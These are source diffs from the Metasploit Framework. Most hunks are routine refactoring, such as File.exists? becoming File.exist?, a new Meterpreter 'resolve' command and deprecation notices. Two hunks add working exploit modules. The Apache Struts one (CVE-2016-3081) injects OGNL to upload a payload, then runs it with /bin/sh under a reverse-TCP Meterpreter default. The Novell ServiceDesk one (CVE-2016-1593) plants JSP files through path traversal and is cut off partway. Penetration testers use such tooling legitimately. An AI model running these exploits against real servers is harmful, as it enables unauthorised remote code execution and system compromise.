resource_file = ::File.read(path) resource_file = ::File.read(path)
else else
print_error("Cannot find resource script: #{path}") print_error("Cannot find resource script: #{path}")

View File

@ -37,7 +37,7 @@ module Msf
kb_path = File.join(PullRequestFinder::MANUAL_BASE_PATH, "#{mod.fullname}.md") kb_path = File.join(PullRequestFinder::MANUAL_BASE_PATH, "#{mod.fullname}.md")
kb = '' kb = ''
if File.exists?(kb_path) if File.exist?(kb_path)
File.open(kb_path, 'rb') { |f| kb = f.read } File.open(kb_path, 'rb') { |f| kb = f.read }
end end

View File

@ -173,8 +173,7 @@ module Msf
# Returns the markdown format for module authors. # Returns the markdown format for module authors.
# #
# @param authors [Array] Module Authors # @param authors [Array, String] Module Authors
# @param authors [String] Module author
# @return [String] # @return [String]
def normalize_authors(authors) def normalize_authors(authors)
if authors.kind_of?(Array) if authors.kind_of?(Array)
@ -205,8 +204,7 @@ module Msf
# Returns the markdown format for module platforms. # Returns the markdown format for module platforms.
# #
# @param platforms [Array] Module platforms. # @param platforms [Array, String] Module platforms.
# @param platforms [String] Module platform.
# @return [String] # @return [String]
def normalize_platforms(platforms) def normalize_platforms(platforms)
if platforms.kind_of?(Array) if platforms.kind_of?(Array)

View File

@ -2253,9 +2253,9 @@ require 'msf/core/exe/segment_appender'
path = ::File.expand_path(::File.join( path = ::File.expand_path(::File.join(
::File.dirname(__FILE__),"..", "..", "..", "data", "eicar.com") ::File.dirname(__FILE__),"..", "..", "..", "data", "eicar.com")
) )
return true unless ::File.exists?(path) return true unless ::File.exist?(path)
ret = false ret = false
if ::File.exists?(path) if ::File.exist?(path)
begin begin
data = ::File.read(path) data = ::File.read(path)
unless Digest::SHA1.hexdigest(data) == "3395856ce81f2b7382dee72602f798b642f14140" unless Digest::SHA1.hexdigest(data) == "3395856ce81f2b7382dee72602f798b642f14140"

View File

@ -44,7 +44,7 @@ class PayloadCachedSize
def self.update_cache_constant(data, cached_size) def self.update_cache_constant(data, cached_size)
data. data.
gsub(/^\s*CachedSize\s*=\s*(\d+|:dynamic).*/, ''). gsub(/^\s*CachedSize\s*=\s*(\d+|:dynamic).*/, '').
gsub(/^(module Metasploit\d+)\s*\n/) do |m| gsub(/^(module MetasploitModule)\s*\n/) do |m|
"#{m.strip}\n\n CachedSize = #{cached_size}\n\n" "#{m.strip}\n\n CachedSize = #{cached_size}\n\n"
end end
end end

View File

@ -138,7 +138,7 @@ def self.open_browser(url='http://google.com/')
['xdg-open', 'sensible-browser', 'firefox', 'firefox-bin', 'opera', 'konqueror', 'chromium-browser'].each do |browser| ['xdg-open', 'sensible-browser', 'firefox', 'firefox-bin', 'opera', 'konqueror', 'chromium-browser'].each do |browser|
ENV['PATH'].split(':').each do |path| ENV['PATH'].split(':').each do |path|
# Does the browser exists? # Does the browser exists?
if File.exists?("#{path}/#{browser}") if File.exist?("#{path}/#{browser}")
system("#{browser} #{url} &") system("#{browser} #{url} &")
return return
end end
@ -165,7 +165,7 @@ def self.open_webrtc_browser(url='http://google.com/')
paths << "#{app_data}\\Google\\Chrome\\Application\\chrome.exe" paths << "#{app_data}\\Google\\Chrome\\Application\\chrome.exe"
paths.each do |path| paths.each do |path|
if File.exists?(path) if File.exist?(path)
args = (path =~ /chrome\.exe/) ? "--allow-file-access-from-files" : "" args = (path =~ /chrome\.exe/) ? "--allow-file-access-from-files" : ""
system("\"#{path}\" #{args} \"#{url}\"") system("\"#{path}\" #{args} \"#{url}\"")
return true return true
@ -187,7 +187,7 @@ def self.open_webrtc_browser(url='http://google.com/')
['google-chrome', 'chrome', 'chromium', 'firefox' , 'firefox', 'opera'].each do |browser| ['google-chrome', 'chrome', 'chromium', 'firefox' , 'firefox', 'opera'].each do |browser|
ENV['PATH'].split(':').each do |path| ENV['PATH'].split(':').each do |path|
browser_path = "#{path}/#{browser}" browser_path = "#{path}/#{browser}"
if File.exists?(browser_path) if File.exist?(browser_path)
args = (browser_path =~ /Chrome/) ? "--allow-file-access-from-files" : "" args = (browser_path =~ /Chrome/) ? "--allow-file-access-from-files" : ""
system("#{browser_path} #{args} #{url} &") system("#{browser_path} #{args} #{url} &")
return true return true

View File

@ -24,7 +24,7 @@ class RopDb
# Returns true if a ROP chain is available, otherwise false # Returns true if a ROP chain is available, otherwise false
# #
def has_rop?(rop_name) def has_rop?(rop_name)
File.exists?(File.join(@base_path, "#{rop_name}.xml")) File.exist?(File.join(@base_path, "#{rop_name}.xml"))
end end
# #

View File

@ -82,7 +82,7 @@ module FileUtils
def self.find_full_path(file_name) def self.find_full_path(file_name)
# Check for the absolute fast first # Check for the absolute fast first
if (file_name[0,1] == "/" and ::File.exists?(file_name) and ::File::Stat.new(file_name)) if (file_name[0,1] == "/" and ::File.exist?(file_name) and ::File::Stat.new(file_name))
return file_name return file_name
end end

View File

@ -1,10 +1,13 @@
# -*- coding: binary -*- # -*- coding: binary -*-
require 'openssl/ccm'
require 'metasm'
## ##
# This module requires Metasploit: http://metasploit.com/download # This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework # Current source: https://github.com/rapid7/metasploit-framework
## ##
require 'openssl/ccm'
require 'metasm'
module Rex module Rex
module Parser module Parser
### ###
@ -112,7 +115,7 @@ module Rex
# Parse the metadata_entries and return a hashmap using the # Parse the metadata_entries and return a hashmap using the
# following format: # following format:
# {metadata_entry_type => {metadata_value_type => [fve_entry,...]}} # metadata_entry_type => metadata_value_type => [fve_entry,...]
def fve_entries(metadata_entries) def fve_entries(metadata_entries)
offset_entry = 0 offset_entry = 0
entry_size = metadata_entries[0, 2].unpack('v')[0] entry_size = metadata_entries[0, 2].unpack('v')[0]
@ -215,7 +218,7 @@ module Rex
end end
# Produce a hash map using the following format: # Produce a hash map using the following format:
# {PROTECTION_TYPE => [fve_entry, fve_entry...]} # PROTECTION_TYPE => [fve_entry, fve_entry...]
def vmk_entries def vmk_entries
res = {} res = {}
(@fve_metadata_entries[ENTRY_TYPE_VMK][VALUE_TYPE_VMK]).each do |vmk| (@fve_metadata_entries[ENTRY_TYPE_VMK][VALUE_TYPE_VMK]).each do |vmk|

View File

@ -132,7 +132,7 @@ class Client
# The SSL certificate is being passed down as a file path # The SSL certificate is being passed down as a file path
if opts[:ssl_cert] if opts[:ssl_cert]
if ! ::File.exists? opts[:ssl_cert] if ! ::File.exist? opts[:ssl_cert]
elog("SSL certificate at #{opts[:ssl_cert]} does not exist and will be ignored") elog("SSL certificate at #{opts[:ssl_cert]} does not exist and will be ignored")
else else
# Load the certificate the same way that SslTcpServer does it # Load the certificate the same way that SslTcpServer does it

View File

@ -644,6 +644,16 @@ class ClientCore < Extension
scheme = opts[:transport].split('_')[1] scheme = opts[:transport].split('_')[1]
url = "#{scheme}://#{opts[:lhost]}:#{opts[:lport]}" url = "#{scheme}://#{opts[:lhost]}:#{opts[:lport]}"
if opts[:luri] && opts[:luri].length > 0
if opts[:luri][0] != '/'
url << '/'
end
url << opts[:luri]
if url[-1] == '/'
url = url[0...-1]
end
end
if opts[:comm_timeout] if opts[:comm_timeout]
request.add_tlv(TLV_TYPE_TRANS_COMM_TIMEOUT, opts[:comm_timeout]) request.add_tlv(TLV_TYPE_TRANS_COMM_TIMEOUT, opts[:comm_timeout])
end end

View File

@ -184,7 +184,7 @@ class File < Rex::Post::Meterpreter::Extensions::Stdapi::Fs::IO
# #
# Returns true if the remote file +name+ exists, false otherwise # Returns true if the remote file +name+ exists, false otherwise
# #
def File.exists?(name) def File.exist?(name)
r = client.fs.filestat.new(name) rescue nil r = client.fs.filestat.new(name) rescue nil
r ? true : false r ? true : false
end end
@ -302,7 +302,7 @@ class File < Rex::Post::Meterpreter::Extensions::Stdapi::Fs::IO
# Check for changes # Check for changes
src_stat = client.fs.filestat.new(src_file) src_stat = client.fs.filestat.new(src_file)
if ::File.exists?(dest_file) if ::File.exist?(dest_file)
dst_stat = ::File.stat(dest_file) dst_stat = ::File.stat(dest_file)
if src_stat.size == dst_stat.size && src_stat.mtime == dst_stat.mtime if src_stat.size == dst_stat.size && src_stat.mtime == dst_stat.mtime
return 'skipped' return 'skipped'

View File

@ -575,6 +575,7 @@ class Console::CommandDispatcher::Core
'-p' => [ true, 'LPORT parameter' ], '-p' => [ true, 'LPORT parameter' ],
'-i' => [ true, 'Specify transport by index (currently supported: remove)' ], '-i' => [ true, 'Specify transport by index (currently supported: remove)' ],
'-u' => [ true, 'Custom URI for HTTP/S transports (used when removing transports)' ], '-u' => [ true, 'Custom URI for HTTP/S transports (used when removing transports)' ],
'-lu' => [ true, 'Local URI for HTTP/S transports (used when adding/changing transports with a custom LURI)' ],
'-ua' => [ true, 'User agent for HTTP/S transports (optional)' ], '-ua' => [ true, 'User agent for HTTP/S transports (optional)' ],
'-ph' => [ true, 'Proxy host for HTTP/S transports (optional)' ], '-ph' => [ true, 'Proxy host for HTTP/S transports (optional)' ],
'-pp' => [ true, 'Proxy port for HTTP/S transports (optional)' ], '-pp' => [ true, 'Proxy port for HTTP/S transports (optional)' ],
@ -656,6 +657,8 @@ class Console::CommandDispatcher::Core
opts[:uri] = val opts[:uri] = val
when '-i' when '-i'
transport_index = val.to_i transport_index = val.to_i
when '-lu'
opts[:luri] = val
when '-ph' when '-ph'
opts[:proxy_host] = val opts[:proxy_host] = val
when '-pp' when '-pp'

View File

@ -702,7 +702,7 @@ class Console::CommandDispatcher::Stdapi::Fs
client.framework.events.on_session_upload(client, src, dest) if msf_loaded? client.framework.events.on_session_upload(client, src, dest) if msf_loaded?
} }
elsif (stat.file?) elsif (stat.file?)
if client.fs.file.exists?(dest) and client.fs.file.stat(dest).directory? if client.fs.file.exist?(dest) && client.fs.file.stat(dest).directory?
client.fs.file.upload(dest, src) { |step, src, dst| client.fs.file.upload(dest, src) { |step, src, dst|
print_status("#{step.ljust(11)}: #{src} -> #{dst}") print_status("#{step.ljust(11)}: #{src} -> #{dst}")
client.framework.events.on_session_upload(client, src, dest) if msf_loaded? client.framework.events.on_session_upload(client, src, dest) if msf_loaded?

View File

@ -35,6 +35,13 @@ class Console::CommandDispatcher::Stdapi::Net
attr_accessor :pfservice attr_accessor :pfservice
end end
#
# Options for the resolve command
#
@@resolve_opts = Rex::Parser::Arguments.new(
'-h' => [false, 'Help banner.' ],
'-f' => [true, 'Address family - IPv4 or IPv6 (default IPv4)'])
# #
# Options for the route command. # Options for the route command.
# #
@ -77,6 +84,7 @@ class Console::CommandDispatcher::Stdapi::Net
"arp" => "Display the host ARP cache", "arp" => "Display the host ARP cache",
"netstat" => "Display the network connections", "netstat" => "Display the network connections",
"getproxy" => "Display the current proxy configuration", "getproxy" => "Display the current proxy configuration",
'resolve' => 'Resolve a set of host names on the target',
} }
reqs = { reqs = {
"ipconfig" => [ "stdapi_net_config_get_interfaces" ], "ipconfig" => [ "stdapi_net_config_get_interfaces" ],
@ -94,6 +102,7 @@ class Console::CommandDispatcher::Stdapi::Net
"arp" => [ "stdapi_net_config_get_arp_table" ], "arp" => [ "stdapi_net_config_get_arp_table" ],
"netstat" => [ "stdapi_net_config_get_netstat" ], "netstat" => [ "stdapi_net_config_get_netstat" ],
"getproxy" => [ "stdapi_net_config_get_proxy" ], "getproxy" => [ "stdapi_net_config_get_proxy" ],
'resolve' => ['stdapi_net_resolve_host'],
} }
all.delete_if do |cmd, desc| all.delete_if do |cmd, desc|
@ -474,6 +483,55 @@ class Console::CommandDispatcher::Stdapi::Net
print_line( "Proxy Bypass : #{p[:proxybypass]}" ) print_line( "Proxy Bypass : #{p[:proxybypass]}" )
end end
#
# Resolve 1 or more hostnames on the target session
#
def cmd_resolve(*args)
args.unshift('-h') if args.length == 0
hostnames = []
family = AF_INET
@@resolve_opts.parse(args) { |opt, idx, val|
case opt
when '-h'
print_line('Usage: resolve host1 host2 .. hostN [-h] [-f IPv4|IPv6]')
print_line
print_line(@@resolve_opts.usage)
return false
when '-f'
if val.downcase == 'ipv6'
family = AF_INET6
elsif val.downcase != 'ipv4'
print_error("Invalid family: #{val}")
return false
end
else
hostnames << val
end
}
response = client.net.resolve.resolve_hosts(hostnames, family)
table = Rex::Ui::Text::Table.new(
'Header' => 'Host resolutions',
'Indent' => 4,
'SortIndex' => 0,
'Columns' => ['Hostname', 'IP Address']
)
response.each do |result|
if result[:ip].nil?
table << [result[:hostname], '[Failed To Resolve]']
else
table << [result[:hostname], result[:ip]]
end
end
print_line
print_line(table.to_s)
end
protected protected
# #

View File

@ -1,9 +1,5 @@
# -*- coding: binary -*- # -*- coding: binary -*-
##
# ADB protocol support
##
require 'rex/proto/adb/message' require 'rex/proto/adb/message'
module Rex module Rex

View File

@ -52,7 +52,7 @@ module Steam
# Decodes an A2S_INFO response message # Decodes an A2S_INFO response message
# #
# @parameter response [String] the A2S_INFO resposne to decode # @param response [String] the A2S_INFO resposne to decode
# @return [Hash] the fields extracted from the response # @return [Hash] the fields extracted from the response
def a2s_info_decode(response) def a2s_info_decode(response)
# abort if it is impossibly short # abort if it is impossibly short

View File

@ -240,7 +240,7 @@ class Rex::Socket::Comm::Local
if @@ip6_lla_scopes.length == 0 and retry_scopes if @@ip6_lla_scopes.length == 0 and retry_scopes
# Linux specific interface lookup code # Linux specific interface lookup code
if ::File.exists?( "/proc/self/net/igmp6" ) if ::File.exist?( "/proc/self/net/igmp6" )
::File.open("/proc/self/net/igmp6") do |fd| ::File.open("/proc/self/net/igmp6") do |fd|
fd.each_line do |line| fd.each_line do |line|
line = line.strip line = line.strip

View File

@ -57,7 +57,7 @@ module Shell
def init_tab_complete def init_tab_complete
if (self.input and self.input.supports_readline) if (self.input and self.input.supports_readline)
self.input = Input::Readline.new(lambda { |str| tab_complete(str) }) self.input = Input::Readline.new(lambda { |str| tab_complete(str) })
if Readline::HISTORY.length == 0 and histfile and File.exists?(histfile) if Readline::HISTORY.length == 0 and histfile and File.exist?(histfile)
File.readlines(histfile).each { |e| File.readlines(histfile).each { |e|
Readline::HISTORY << e.chomp Readline::HISTORY << e.chomp
} }

View File

@ -70,7 +70,7 @@ Gem::Specification.new do |spec|
# are needed when there's no database # are needed when there's no database
spec.add_runtime_dependency 'metasploit-model'#, '1.1.0' spec.add_runtime_dependency 'metasploit-model'#, '1.1.0'
# Needed for Meterpreter # Needed for Meterpreter
spec.add_runtime_dependency 'metasploit-payloads', '1.1.6' spec.add_runtime_dependency 'metasploit-payloads', '1.1.8'
# Needed by msfgui and other rpc components # Needed by msfgui and other rpc components
spec.add_runtime_dependency 'msgpack' spec.add_runtime_dependency 'msgpack'
# get list of network interfaces, like eth* from OS. # get list of network interfaces, like eth* from OS.

View File

@ -325,11 +325,11 @@ class MetasploitModule < Msf::Auxiliary
return return
when 'RNFR' when 'RNFR'
send_response(c,arg,"RNRF",350," File exists") send_response(c,arg,"RNRF",350," File.exist")
return return
when 'RNTO' when 'RNTO'
send_response(c,arg,"RNTO",350," File exists") send_response(c,arg,"RNTO",350," File.exist")
return return
else else
send_response(c,arg,cmd.upcase,200," Command not understood") send_response(c,arg,cmd.upcase,200," Command not understood")

View File

@ -8,8 +8,10 @@ require "net/dns/resolver"
require 'rex' require 'rex'
class MetasploitModule < Msf::Auxiliary class MetasploitModule < Msf::Auxiliary
include Msf::Module::Deprecated
include Msf::Auxiliary::Report include Msf::Auxiliary::Report
deprecated(Date.new(2016, 6, 12), 'auxiliary/gather/enum_dns')
def initialize(info = {}) def initialize(info = {})
super(update_info(info, super(update_info(info,
'Name' => 'DNS Brutefoce Enumeration', 'Name' => 'DNS Brutefoce Enumeration',

View File

@ -7,8 +7,11 @@ require 'msf/core'
require 'net/dns/resolver' require 'net/dns/resolver'
class MetasploitModule < Msf::Auxiliary class MetasploitModule < Msf::Auxiliary
include Msf::Module::Deprecated
include Msf::Auxiliary::Report include Msf::Auxiliary::Report
deprecated(Date.new(2016, 6, 12), 'auxiliary/gather/enum_dns')
def initialize(info = {}) def initialize(info = {})
super(update_info(info, super(update_info(info,
'Name' => 'DNS Non-Recursive Record Scraper', 'Name' => 'DNS Non-Recursive Record Scraper',

View File

@ -8,8 +8,11 @@ require "net/dns/resolver"
require 'rex' require 'rex'
class MetasploitModule < Msf::Auxiliary class MetasploitModule < Msf::Auxiliary
include Msf::Module::Deprecated
include Msf::Auxiliary::Report include Msf::Auxiliary::Report
deprecated(Date.new(2016, 6, 12), 'auxiliary/gather/enum_dns')
def initialize(info = {}) def initialize(info = {})
super(update_info(info, super(update_info(info,
'Name' => 'DNS Basic Information Enumeration', 'Name' => 'DNS Basic Information Enumeration',

View File

@ -8,8 +8,11 @@ require "net/dns/resolver"
require 'rex' require 'rex'
class MetasploitModule < Msf::Auxiliary class MetasploitModule < Msf::Auxiliary
include Msf::Module::Deprecated
include Msf::Auxiliary::Report include Msf::Auxiliary::Report
deprecated(Date.new(2016, 6, 12), 'auxiliary/gather/enum_dns')
def initialize(info = {}) def initialize(info = {})
super(update_info(info, super(update_info(info,
'Name' => 'DNS Reverse Lookup Enumeration', 'Name' => 'DNS Reverse Lookup Enumeration',

View File

@ -8,8 +8,11 @@ require "net/dns/resolver"
require 'rex' require 'rex'
class MetasploitModule < Msf::Auxiliary class MetasploitModule < Msf::Auxiliary
include Msf::Module::Deprecated
include Msf::Auxiliary::Report include Msf::Auxiliary::Report
deprecated(Date.new(2016, 6, 12), 'auxiliary/gather/enum_dns')
def initialize(info = {}) def initialize(info = {})
super(update_info(info, super(update_info(info,
'Name' => 'DNS Common Service Record Enumeration', 'Name' => 'DNS Common Service Record Enumeration',

View File

@ -83,7 +83,7 @@ class MetasploitModule < Msf::Auxiliary
save_source.puts(res.body.to_s) save_source.puts(res.body.to_s)
save_source.close save_source.close
print_status("#{full_uri} - nginx - File successfully saved: #{path_save}#{uri}") if (File.exists?("#{path_save}#{uri}")) print_status("#{full_uri} - nginx - File successfully saved: #{path_save}#{uri}") if (File.exist?("#{path_save}#{uri}"))
else else
print_error("http://#{vhost}:#{rport} - nginx - Unrecognized #{res.code} response") print_error("http://#{vhost}:#{rport} - nginx - Unrecognized #{res.code} response")

View File

@ -74,7 +74,7 @@ class MetasploitModule < Msf::Auxiliary
end end
path = ::File.join(datastore['FTPROOT'], Rex::FileUtils.clean_path(arg)) path = ::File.join(datastore['FTPROOT'], Rex::FileUtils.clean_path(arg))
if(not ::File.exists?(path)) if(not ::File.exist?(path))
c.put "550 File does not exist\r\n" c.put "550 File does not exist\r\n"
return return
end end
@ -134,7 +134,7 @@ class MetasploitModule < Msf::Auxiliary
end end
path = ::File.join(datastore['FTPROOT'], Rex::FileUtils.clean_path(arg)) path = ::File.join(datastore['FTPROOT'], Rex::FileUtils.clean_path(arg))
if(not ::File.exists?(path)) if(not ::File.exist?(path))
c.put "550 File does not exist\r\n" c.put "550 File does not exist\r\n"
return return
end end
@ -160,7 +160,7 @@ class MetasploitModule < Msf::Auxiliary
end end
npath = ::File.expand_path(::File.join(datastore['FTPROOT'], bpath)) npath = ::File.expand_path(::File.join(datastore['FTPROOT'], bpath))
if not (::File.exists?(npath) and ::File.directory?(npath)) if not (::File.exist?(npath) and ::File.directory?(npath))
c.put "550 Directory does not exist\r\n" c.put "550 Directory does not exist\r\n"
return return
end end

View File

@ -40,7 +40,7 @@ class MetasploitModule < Msf::Auxiliary
filename = datastore['FILENAME'] filename = datastore['FILENAME']
verbose = datastore['VERBOSE'] verbose = datastore['VERBOSE']
count = 0 count = 0
unless File.exists? filename and File.file? filename unless File.exist? filename and File.file? filename
print_error("Pcap File does not exist") print_error("Pcap File does not exist")
return return
end end

View File

@ -0,0 +1,190 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Struts Dynamic Method Invocation Remote Code Execution',
'Description' => %q{
This module exploits a remote command execution vulnerability in Apache Struts
version between 2.3.20 and 2.3.28 (except 2.3.20.2 and 2.3.24.2). Remote Code
Execution can be performed via method: prefix when Dynamic Method Invocation
is enabled.
},
'Author' => [ 'Nixawk' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2016-3081' ],
[ 'URL', 'https://www.seebug.org/vuldb/ssvid-91389' ]
],
'Platform' => %w{ linux },
'Privileged' => true,
'DefaultOptions' => {
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp_uuid'
},
'Targets' =>
[
['Linux Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
]
],
'DisclosureDate' => 'Apr 27 2016',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/blank-struts2/login.action']),
OptString.new('TMPPATH', [ false, 'Overwrite the temp path for the file upload. Needed if the home directory is not writable.', nil])
], self.class)
end
def print_status(msg='')
super("#{peer} - #{msg}")
end
def send_http_request(payload)
uri = normalize_uri(datastore['TARGETURI'])
res = send_request_cgi(
'uri' => "#{uri}#{payload}",
'method' => 'POST')
if res && res.code == 404
fail_with(Failure::BadConfig, 'Server returned HTTP 404, please double check TARGETURI')
end
res
end
def parameterize(params) # params is a hash
URI.escape(params.collect { |k, v| "#{k}=#{v}" }.join('&'))
end
def generate_rce_payload(code, params_hash)
payload = "?method:"
payload << Rex::Text.uri_encode("#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS")
payload << ","
payload << Rex::Text.uri_encode(code)
payload << ","
payload << Rex::Text.uri_encode("1?#xx:#request.toString")
payload << "&"
payload << parameterize(params_hash)
payload
end
def temp_path
@TMPPATH ||= lambda {
path = datastore['TMPPATH']
return nil unless path
unless path.end_with?('/')
path << '/'
end
return path
}.call
end
def upload_file(filename, content)
var_a = rand_text_alpha_lower(4)
var_b = rand_text_alpha_lower(4)
var_c = rand_text_alpha_lower(4)
var_d = rand_text_alpha_lower(4)
code = "##{var_a}=new sun.misc.BASE64Decoder(),"
code << "##{var_b}=new java.io.FileOutputStream(new java.lang.String(##{var_a}.decodeBuffer(#parameters.#{var_c}[0]))),"
code << "##{var_b}.write(##{var_a}.decodeBuffer(#parameters.#{var_d}[0])),"
code << "##{var_b}.close()"
params_hash = { var_c => filename, var_d => content }
payload = generate_rce_payload(code, params_hash)
send_http_request(payload)
end
def execute_command(cmd)
var_a = rand_text_alpha_lower(4)
var_b = rand_text_alpha_lower(4)
var_c = rand_text_alpha_lower(4)
var_d = rand_text_alpha_lower(4)
var_e = rand_text_alpha_lower(4)
var_f = rand_text_alpha_lower(4)
code = "##{var_a}=@java.lang.Runtime@getRuntime().exec(#parameters.#{var_f}[0]).getInputStream(),"
code << "##{var_b}=new java.io.InputStreamReader(##{var_a}),"
code << "##{var_c}=new java.io.BufferedReader(##{var_b}),"
code << "##{var_d}=new char[1024],"
code << "##{var_c}.read(##{var_d}),"
code << "##{var_e}=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),"
code << "##{var_e}.println(##{var_d}),"
code << "##{var_e}.close()"
cmd.tr!(' ', '+') if cmd && cmd.include?(' ')
params_hash = { var_f => cmd }
payload = generate_rce_payload(code, params_hash)
send_http_request(payload)
end
def linux_stager
payload_exe = rand_text_alphanumeric(4 + rand(4))
path = temp_path || '/tmp/'
payload_exe = "#{path}#{payload_exe}"
b64_filename = Rex::Text.encode_base64(payload_exe)
b64_content = Rex::Text.encode_base64(generate_payload_exe)
print_status("Uploading exploit to #{payload_exe}")
upload_file(b64_filename, b64_content)
print_status("Attempting to execute the payload...")
execute_command("chmod 700 #{payload_exe}")
execute_command("/bin/sh -c #{payload_exe}")
end
def exploit
linux_stager
end
def check
var_a = rand_text_alpha_lower(4)
var_b = rand_text_alpha_lower(4)
addend_one = rand_text_numeric(rand(3) + 1).to_i
addend_two = rand_text_numeric(rand(3) + 1).to_i
sum = addend_one + addend_two
flag = Rex::Text.rand_text_alpha(5)
code = "##{var_a}=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),"
code << "##{var_a}.print(#parameters.#{var_b}[0]),"
code << "##{var_a}.print(new java.lang.Integer(#{addend_one}+#{addend_two})),"
code << "##{var_a}.print(#parameters.#{var_b}[0]),"
code << "##{var_a}.close()"
params_hash = { var_b => flag }
payload = generate_rce_payload(code, params_hash)
begin
resp = send_http_request(payload)
rescue Msf::Exploit::Failed
return Exploit::CheckCode::Unknown
end
if resp && resp.code == 200 && resp.body.include?("#{flag}#{sum}#{flag}")
Exploit::CheckCode::Vulnerable
else
Exploit::CheckCode::Safe
end
end
end

View File

@ -15,7 +15,7 @@ class MetasploitModule < Msf::Exploit::Remote
'Name' => 'Apache Jetspeed Arbitrary File Upload', 'Name' => 'Apache Jetspeed Arbitrary File Upload',
'Description' => %q{ 'Description' => %q{
This module exploits the unsecured User Manager REST API and a ZIP file This module exploits the unsecured User Manager REST API and a ZIP file
path traversal in Apache Jetspeed-2, versions 2.3.0 and unknown earlier path traversal in Apache Jetspeed-2, version 2.3.0 and unknown earlier
versions, to upload and execute a shell. versions, to upload and execute a shell.
Note: this exploit will create, use, and then delete a new admin user. Note: this exploit will create, use, and then delete a new admin user.

View File

@ -243,7 +243,6 @@ class MetasploitModule < Msf::Exploit::Remote
post_reference_name: self.refname, post_reference_name: self.refname,
private_data: opts[:password], private_data: opts[:password],
origin_type: :service, origin_type: :service,
private_type: :password,
private_type: :nonreplayable_hash, private_type: :nonreplayable_hash,
jtr_format: 'sha512', jtr_format: 'sha512',
username: opts[:user] username: opts[:user]

View File

@ -0,0 +1,384 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'Novell ServiceDesk Authenticated File Upload',
'Description' => %q{
This module exploits an authenticated arbitrary file upload via directory traversal
to execute code on the target. It has been tested on versions 6.5 and 7.1.0, in
Windows and Linux installations of Novell ServiceDesk, as well as the Virtual
Appliance provided by Novell.
},
'Author' =>
[
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2016-1593' ],
[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/novell-service-desk-7.1.0.txt' ],
[ 'URL', 'http://seclists.org/bugtraq/2016/Apr/64' ]
],
'Platform' => %w{ linux win },
'Arch' => ARCH_X86,
'DefaultOptions' => { 'WfsDelay' => 15 },
'Targets' =>
[
[ 'Automatic', {} ],
[ 'Novell ServiceDesk / Linux',
{
'Platform' => 'linux',
'Arch' => ARCH_X86
}
],
[ 'Novell ServiceDesk / Windows',
{
'Platform' => 'win',
'Arch' => ARCH_X86
}
],
],
'Privileged' => false, # Privileged on Windows but not on (most) Linux targets
'DefaultTarget' => 0,
'DisclosureDate' => 'Mar 30 2016'
))
register_options(
[
OptPort.new('RPORT',
[true, 'The target port', 80]),
OptString.new('USERNAME',
[true, 'The username to login as', 'admin']),
OptString.new('PASSWORD',
[true, 'Password for the specified username', 'admin']),
OptString.new('TRAVERSAL_PATH',
[false, 'Traversal path to tomcat/webapps/LiveTime/'])
], self.class)
end
def get_version
res = send_request_cgi({
'uri' => normalize_uri('LiveTime','WebObjects','LiveTime.woa'),
'method' => 'GET',
'headers' => {
'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)',
}
})
if res && res.code == 200 && res.body.to_s =~ /\<p class\=\"login-version-title\"\>\Version \#([0-9\.]+)\<\/p\>/
return $1.to_f
else
return 999
end
end
def check
version = get_version
if version <= 7.1 && version >= 6.5
return Exploit::CheckCode::Appears
elsif version > 7.1
return Exploit::CheckCode::Safe
else
return Exploit::CheckCode::Unknown
end
end
def pick_target
return target if target.name != 'Automatic'
print_status("#{peer} - Determining target")
os_finder_payload = %Q{<html><body><%out.println(System.getProperty("os.name"));%></body><html>}
traversal_paths = []
if datastore['TRAVERSAL_PATH']
traversal_paths << datastore['TRAVERSAL_PATH'] # add user specified or default Virtual Appliance path
end
# add Virtual Appliance path plus the traversal in a Windows or Linux self install
traversal_paths.concat(['../../srv/tomcat6/webapps/LiveTime/','../../Server/webapps/LiveTime/'])
# test each path to determine OS (and correct path)
traversal_paths.each do |traversal_path|
jsp_name = upload_jsp(traversal_path, os_finder_payload)
res = send_request_cgi({
'uri' => normalize_uri('LiveTime', jsp_name),
'method' => 'GET',
'headers' => {
'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)',
},
'cookie' => @cookies
})
if res && res.code == 200
if res.body.to_s =~ /Windows/
@my_target = targets[2]
else
# Linux here
@my_target = targets[1]
end
if traversal_path.include? '/srv/tomcat6/webapps/'
register_files_for_cleanup('/srv/tomcat6/webapps/LiveTime/' + jsp_name)
else
register_files_for_cleanup('../webapps/LiveTime/' + jsp_name)
end
return traversal_path
end
end
return nil
end
def upload_jsp(traversal_path, jsp)
jsp_name = Rex::Text.rand_text_alpha(6+rand(8)) + ".jsp"
post_data = Rex::MIME::Message.new
post_data.add_part(jsp, "application/octet-stream", 'binary', "form-data; name=\"#{@upload_form}\"; filename=\"#{traversal_path}#{jsp_name}\"")
data = post_data.to_s
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(@upload_url),
'headers' => {
'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)',
},
'cookie' => @cookies,
'data' => data,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
})
if not res && res.code == 200
